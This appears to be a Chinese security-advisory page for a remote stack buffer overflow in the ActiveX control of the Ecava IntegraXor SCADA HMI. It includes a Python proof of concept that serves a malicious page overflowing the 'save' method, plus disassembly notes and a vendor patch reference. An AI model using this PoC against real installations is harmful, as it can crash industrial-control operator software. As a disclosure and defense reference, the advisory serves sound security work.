安全研究
安全漏洞
Ecava IntegraXor远程栈缓冲区溢出漏洞
发布日期：2010-12-16
更新日期：2010-12-23
受影响系统：
Ecava IntegraXor 3.5.3900.5不受影响系统：
Ecava IntegraXor 3.5
Ecava IntegraXor 3.5.3900.10描述：
BUGTRAQ ID: 45487
IntegraXor是一组用于创建和运行SCADA系统的基于Web的HMI界面的工具。
Ecava IntegraXor在实现上存在远程栈缓冲区溢出漏洞，远程攻击者可利用此漏洞造成在受影响的应用程序中执行任意代码设备崩溃。
此漏洞源于向Ecava IntegraXor Human-Machine Interface (HMI)产品大小固定的栈缓冲区写入了大于1024的字节。
<*来源：Jeremy Brown
*>
测试方法：
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
# intx.py
# Ecava IntegraXor Remote ActiveX Buffer Overflow PoC
# Jeremy Brown
# December 2010
# http://www.integraxor.com/
#
# There is a stack-based buffer overflow in IntegraXor that can be triggered
# by passing an overly large value to the "save" method of the IntegraXor.Project
# control located in igcomm.dll. This control is marked both safe for scripting
# and safe for initialization.
#
# .text:100027C1 push eax ; lpString2
# .text:100027C2 lea eax, [esp+84Ch+String1]
# .text:100027C6 push eax ; lpString1
# .text:100027C7 call ds:lstrcpyW
# .text:100027CD lea ecx, [esp+848h+String1]
# .text:100027D1 push ecx
# .text:100027D2 call SplitPath
# .text:100027D7 add esp, 4
# .text:100027DA lea ecx, [esp+848h+var_83C]
# .text:100027DE call ds:??0?$basic_string@_WU?$char<truncated>
# .text:100027E4 cmp dword ptr [esi+20h], 8
# .text:100027E8 jb short loc_100027EF
# .text:100027EA mov esi, [esi+0Ch]
# .text:100027ED jmp short loc_100027F2
#
# The vulnerable code in this block passes String1 (dest) and lpString2 (src)
# to lstrcpyW() without validating the length of lpString2. lstrcpyW() then
# copies lpString2 byte for byte into String1 (1024 bytes wchar buffer) and
# adds a terminating NULL byte to the end.
#
# If you attach a debugger and set a breakpoint on 100027CD, you can see an
# exception registration record is stored before the return address:
#
# ESP+83C > 00420042 B.B. Pointer to next SEH record
# ESP+840 > 00420042 B.B. SE handler
# ESP+844 > FFFF0000 ..??
# ESP+848 > 10007916 xxxx RETURN to igcom.10007916 from igcom.10002770
#
# I wasn't able to find any useable unicode compatible PPRs. We can overwrite
# the return address, but it will exit with a c0000409 code (/GS exception).
#
# Tested Ecava IntegraXor 3.5.3900.5 on Windows
#
# Fixed version: 3.5.3900.10
#
import sys
import socket
resp="""
<html>
<body>
<object id="target" classid="clsid:{520F4CFD-61C6-4EED-8004-C26D514D3D19}"></object>
<script language="vbscript">
data="IntegraXor"
filepath=String(1038,"B")
target.save data,filepath
</script>
</body>
</html>
"""
port=80
try:
sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.bind(("",port))
sock.listen(1)
conn,addr=sock.accept()
except IOError,e:
print e
print "Client at %s connected\n"%addr[0]
req=conn.recv(1024)
print "Sending data..."
conn.send(resp)
print "Done"
conn.close()
建议：
厂商补丁：
Ecava
-----
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：
http://www.ecava.com/index.htm
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